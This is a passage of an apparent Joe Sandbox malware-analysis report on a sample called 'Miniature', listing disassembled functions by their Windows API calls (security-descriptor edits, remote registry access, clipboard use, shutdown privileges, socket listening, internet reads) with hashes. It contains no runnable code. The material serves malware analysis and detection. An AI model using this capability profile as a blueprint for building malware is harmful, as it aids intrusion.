Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 894d760f5df9426a035ee0c6b197946ba326b41c85fcb3e710992f24513a6544
Instruction ID: 1dffd723fc9887f469ae31fe6a9c7beadbd1dbc362c8d9f7b08e78433d53e56f
Opcode Fuzzy Hash: 894d760f5df9426a035ee0c6b197946ba326b41c85fcb3e710992f24513a6544
Instruction Fuzzy Hash: 3531DA7294031DABDB20AE75DC88AEEB76C9F05370F240175F944A21B0DB35DE49EB50

Function 00FE88CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FE8E3C
Part of subcall function 00FE8E20: GetLastError.KERNEL32(?,00FE8900,?,?,?), ref: 00FE8E46
Part of subcall function 00FE8E20: GetProcessHeap.KERNEL32(00000008,?,?,00FE8900,?,?,?), ref: 00FE8E55
Part of subcall function 00FE8E20: HeapAlloc.KERNEL32(00000000,?,00FE8900,?,?,?), ref: 00FE8E5C
Part of subcall function 00FE8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FE8E73

Part of subcall function 00FE8EBD: GetProcessHeap.KERNEL32(00000008,00FE8916,00000000,00000000,?,00FE8916,?), ref: 00FE8EC9
Part of subcall function 00FE8EBD: HeapAlloc.KERNEL32(00000000,?,00FE8916,?), ref: 00FE8ED0
Part of subcall function 00FE8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00FE8916,?), ref: 00FE8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FE8931
_memset.LIBCMT ref: 00FE8946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FE8965
GetLengthSid.ADVAPI32(?), ref: 00FE8976
GetAce.ADVAPI32(?,00000000,?), ref: 00FE89B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FE89CF
GetLengthSid.ADVAPI32(?), ref: 00FE89EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00FE89FB
HeapAlloc.KERNEL32(00000000), ref: 00FE8A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FE8A23
CopySid.ADVAPI32(00000000), ref: 00FE8A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FE8A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FE8A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FE8A95

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: e57256580c5c45f28cb471151e556461883801fccd697176f45bb7d210f17c59
Instruction ID: 8c2bd51bea64c56ea7486b80da97fb8a75b5cfb92b78a971b55e66859c23eccc
Opcode Fuzzy Hash: e57256580c5c45f28cb471151e556461883801fccd697176f45bb7d210f17c59
Instruction Fuzzy Hash: 74618170900249BFDF20EF92DC85EEEBB79FF04750F14416AF815A6290DB399902DB60

Function 01010A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0101147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101040D,?,?), ref: 01011491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01010B0C

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 01010BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 01010C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 01010E82
RegCloseKey.ADVAPI32(00000000), ref: 01010E8F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 706e62fb32d53e5dea554ffeb397c5b0dd4b8f2dd67f656f1db275522f2e7bee
Instruction ID: c13febbd44c7a96836c2caf6ed919be1ee9b524669de9f4fd16fc3e0f6487602
Opcode Fuzzy Hash: 706e62fb32d53e5dea554ffeb397c5b0dd4b8f2dd67f656f1db275522f2e7bee
Instruction Fuzzy Hash: 8CE16D71204310AFDB24DF29C895E2EBBE4FF89714F04856DF889DB269DA39E841CB51

Function 00FF443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00FF4451
__swprintf.LIBCMT ref: 00FF445E

Part of subcall function 00FB38C8: __woutput_l.LIBCMT ref: 00FB3921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00FF4488
LoadResource.KERNEL32(?,00000000), ref: 00FF4494
LockResource.KERNEL32(00000000), ref: 00FF44A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00FF44C1
LoadResource.KERNEL32(?,00000000), ref: 00FF44D3
SizeofResource.KERNEL32(?,00000000), ref: 00FF44E2
LockResource.KERNEL32(?), ref: 00FF44EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00FF454F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 415b3b9565a155008b0b6be54ee406a75df9db388d58749815e3d7024a784947
Instruction ID: ed00529924f75d9581d3953a4497e9cda2b4178239038bd31f7932b6832ee45f
Opcode Fuzzy Hash: 415b3b9565a155008b0b6be54ee406a75df9db388d58749815e3d7024a784947
Instruction Fuzzy Hash: B931D27190031AABDB21AF61EC48EBF7BADEF04300F184416FE55E2158D739EA10DBA0

Function 01004830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 01004857
EmptyClipboard.USER32 ref: 0100485D
GlobalAlloc.KERNEL32(00000002,?), ref: 01004872
CloseClipboard.USER32 ref: 01004911

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: fb21912d31862b42ae84baa46c697870ac2ab6f447240f11262dbe3282b25484
Instruction ID: 098e16c156b2656362bd5ff0688c51a277d54bc5d368e90ba656242844d35786
Opcode Fuzzy Hash: fb21912d31862b42ae84baa46c697870ac2ab6f447240f11262dbe3282b25484
Instruction Fuzzy Hash: E421A3352013109FEB32AF64EC0DF2E77A8EF48711F10805AFA85DB295DB79A901DB94

Function 00FFFA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00FFFA83
FindClose.KERNEL32(00000000), ref: 00FFFB96

Part of subcall function 00F952B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F952E6

Sleep.KERNEL32(0000000A), ref: 00FFFAB3
_wcscmp.LIBCMT ref: 00FFFAC7
_wcscmp.LIBCMT ref: 00FFFAE2
FindNextFileW.KERNEL32(?,?), ref: 00FFFB80

Strings

*.*, xrefs: 00FFFA68

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 5023d1ca6fb484bf1cfa8ff9a9f86664c8d52cb4113dfd265be556aa530e3934
Instruction ID: 6a45087a721f1039001cd2114548870a3f6cb0ae3040f0feff59d1c232ad5728
Opcode Fuzzy Hash: 5023d1ca6fb484bf1cfa8ff9a9f86664c8d52cb4113dfd265be556aa530e3934
Instruction Fuzzy Hash: A8419F71D4021E9FDF24DF64CC59AEEBBB4FF05350F144066E915A22A1EB349A48DB90

Function 00FF5778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FE93E3
Part of subcall function 00FE9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FE9410
Part of subcall function 00FE9399: GetLastError.KERNEL32 ref: 00FE941D

ExitWindowsEx.USER32(?,00000000), ref: 00FF57B4

Strings

@, xrefs: 00FF57A7
, xrefs: 00FF57A2
SeShutdownPrivilege, xrefs: 00FF5784

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: c651f1bae95f3b20cd639372a2d6d72358101dbe7137ec110649b422218d8d19
Instruction ID: 971c1e20011245d8a07aa7e0b809737aa0dc567d198df99b75642ce56b9b3e01
Opcode Fuzzy Hash: c651f1bae95f3b20cd639372a2d6d72358101dbe7137ec110649b422218d8d19
Instruction Fuzzy Hash: C001FC73A5472EEBE73875659C8ABBB7658AF04F50F200125FB53D60F1D5595C00A150

Function 0100696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 010069C7
WSAGetLastError.WSOCK32(00000000), ref: 010069D6
bind.WSOCK32(00000000,?,00000010), ref: 010069F2
listen.WSOCK32(00000000,00000005), ref: 01006A01
WSAGetLastError.WSOCK32(00000000), ref: 01006A1B
closesocket.WSOCK32(00000000,00000000), ref: 01006A2F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: bfd70e4f53109206e1079e8d1032816a15c6dc9a908918112750daeae3ce0c4f
Instruction ID: c095812c35c4b1ec0d5b909260b1562fc2bef7da822a9f23c8f5699804ac6f65
Opcode Fuzzy Hash: bfd70e4f53109206e1079e8d1032816a15c6dc9a908918112750daeae3ce0c4f
Instruction Fuzzy Hash: 5721F230600201AFEB21EF68CC49B6EB7EAEF45720F108159F896A73D1CB75AC41DB90

Function 00F91663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00F91DD6
GetSysColor.USER32(0000000F), ref: 00F91E2A
SetBkColor.GDI32(?,00000000), ref: 00F91E3D

Part of subcall function 00F9166C: DefDlgProcW.USER32(?,00000020,?), ref: 00F916B4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 36b6f4aabeedade376b96342280134fa035ff3c09caa1451180bfc43a920973f
Instruction ID: 6ad1e91023b26437b3725cd672f7bff657145b694c725ee14c5957499b1e228e
Opcode Fuzzy Hash: 36b6f4aabeedade376b96342280134fa035ff3c09caa1451180bfc43a920973f
Instruction Fuzzy Hash: 85A1447950550BBAFF39AA698D4AFBF369CFB41321F24012FF442C6185CA299C01F276

Function 00FFC2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FFC329
_wcscmp.LIBCMT ref: 00FFC359
_wcscmp.LIBCMT ref: 00FFC36E
FindNextFileW.KERNEL32(00000000,?), ref: 00FFC37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00FFC3AF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: ecfe4e32dd68e678e88d6c58c58ca0240f811499a70eda1409c476eed90d491b
Instruction ID: 981815eeca388ae5798f74f64b85f3ab7cce8388d2b52b60599e29206c560a1d
Opcode Fuzzy Hash: ecfe4e32dd68e678e88d6c58c58ca0240f811499a70eda1409c476eed90d491b
Instruction Fuzzy Hash: 0751AC75A0461A8FD714DF68C990EAAB3E4FF49320F10421DFA5687361DB34AD05EB91

Function 01006E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 01008475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 010084A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 01006E89
WSAGetLastError.WSOCK32(00000000), ref: 01006EB2
bind.WSOCK32(00000000,?,00000010), ref: 01006EEB
WSAGetLastError.WSOCK32(00000000), ref: 01006EF8
closesocket.WSOCK32(00000000,00000000), ref: 01006F0C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: a266ff56dee939fb22921738192d6cf349d3fb4897fc092ee97c03dda38ef4f9
Instruction ID: d2fe1f497050b76d7f6a7304948d17b562c2e0b0a6118ac140097507dd834269
Opcode Fuzzy Hash: a266ff56dee939fb22921738192d6cf349d3fb4897fc092ee97c03dda38ef4f9
Instruction Fuzzy Hash: 5641E475600300AFFF21AF64DC86F7E73E9AB14B14F048459F945AB3C2DA78AD029B91

Function 010159B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 01015A02
IsWindowEnabled.USER32 ref: 01015A10
GetForegroundWindow.USER32(?,?,00000001), ref: 01015A1D
IsIconic.USER32 ref: 01015A2B
IsZoomed.USER32 ref: 01015A39

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 80c9b0bf1152828b76514fc5568d978c7e06e1e0e51596d0d219f76787d6de20
Instruction ID: 93d618d537f78f93c8ce3680938e5c612c18ab259694d2a2c3ba179ecbe731e9
Opcode Fuzzy Hash: 80c9b0bf1152828b76514fc5568d978c7e06e1e0e51596d0d219f76787d6de20
Instruction Fuzzy Hash: 2311E6323403115FF7315F2A8C84A2E7B99FF86721B504029F885DB249CB7C99018AE1

Function 00FD0030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FD0034
__swprintf.LIBCMT ref: 00FD0065

Strings

%.3d, xrefs: 00FD003F
WIN_XPe, xrefs: 00FD00A4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: f35c36ec185c0cf768e0b51e0ffc1d6debc7c0f086d25a7296f59153e46048b5
Instruction ID: fa3132c32f43ddd33dd8776663b215922264f35e242dae829fa430457f4f1c86
Opcode Fuzzy Hash: f35c36ec185c0cf768e0b51e0ffc1d6debc7c0f086d25a7296f59153e46048b5
Instruction Fuzzy Hash: 56D01273854218FBCB18AA91DC48FF9777DAB04300F680053F546A2104EA359748BB22

Function 010029BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,01001ED6,00000000), ref: 01002AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 01002AE4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 0eaba120985bb298a3f37f448bc8efe7a1ce5858ba82a8216e650a8815bdc016
Instruction ID: a6cd08794b64828b2b65caa133791dec1d7e88cad96cd6a03d22166a41c2a4a3
Opcode Fuzzy Hash: 0eaba120985bb298a3f37f448bc8efe7a1ce5858ba82a8216e650a8815bdc016
Instruction Fuzzy Hash: 7241F571A00709FFFB22DE59CC89EBFB7ECEB40754F10405AF685A6181DA719E819B60

Function 00FE9399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00FB0FE6: std::exception::exception.LIBCMT ref: 00FB101C
Part of subcall function 00FB0FE6: __CxxThrowException@8.LIBCMT ref: 00FB1031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FE93E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FE9410
GetLastError.KERNEL32 ref: 00FE941D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: ef25e108083d8bba8603361d59703adb5939f5bf63ca99a6607d6f01bbb6bcff
Instruction ID: 0ae3e11462b044f79b97e21c58a1f202a0585b6f0f01309666dbce29fcf17c78
Opcode Fuzzy Hash: ef25e108083d8bba8603361d59703adb5939f5bf63ca99a6607d6f01bbb6bcff
Instruction Fuzzy Hash: 0311BFB2818304AFE728DF55DCC5D6BB7BCEB44310B20812EF48982280EB74AC41CB60

Function 00FF42D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00FF42FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00FF433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00FF4345

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 9b2266ef5331e4692033daf39bc011d906c775fb504f025f8ab023d4769e53ce
Instruction ID: ade6b23c2401fdd2f83a2ec134e8f07d492ae0fa3e24d57f5ea33c7f64caaedc
Opcode Fuzzy Hash: 9b2266ef5331e4692033daf39bc011d906c775fb504f025f8ab023d4769e53ce
Instruction Fuzzy Hash: F81186B2D00229BEE7209AE89C44FBFBBBCEB09720F104156FA14E7190D2756D0497A1

Function 00FF4F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00FF4F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00FF4F5C
FreeSid.ADVAPI32(?), ref: 00FF4F6C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
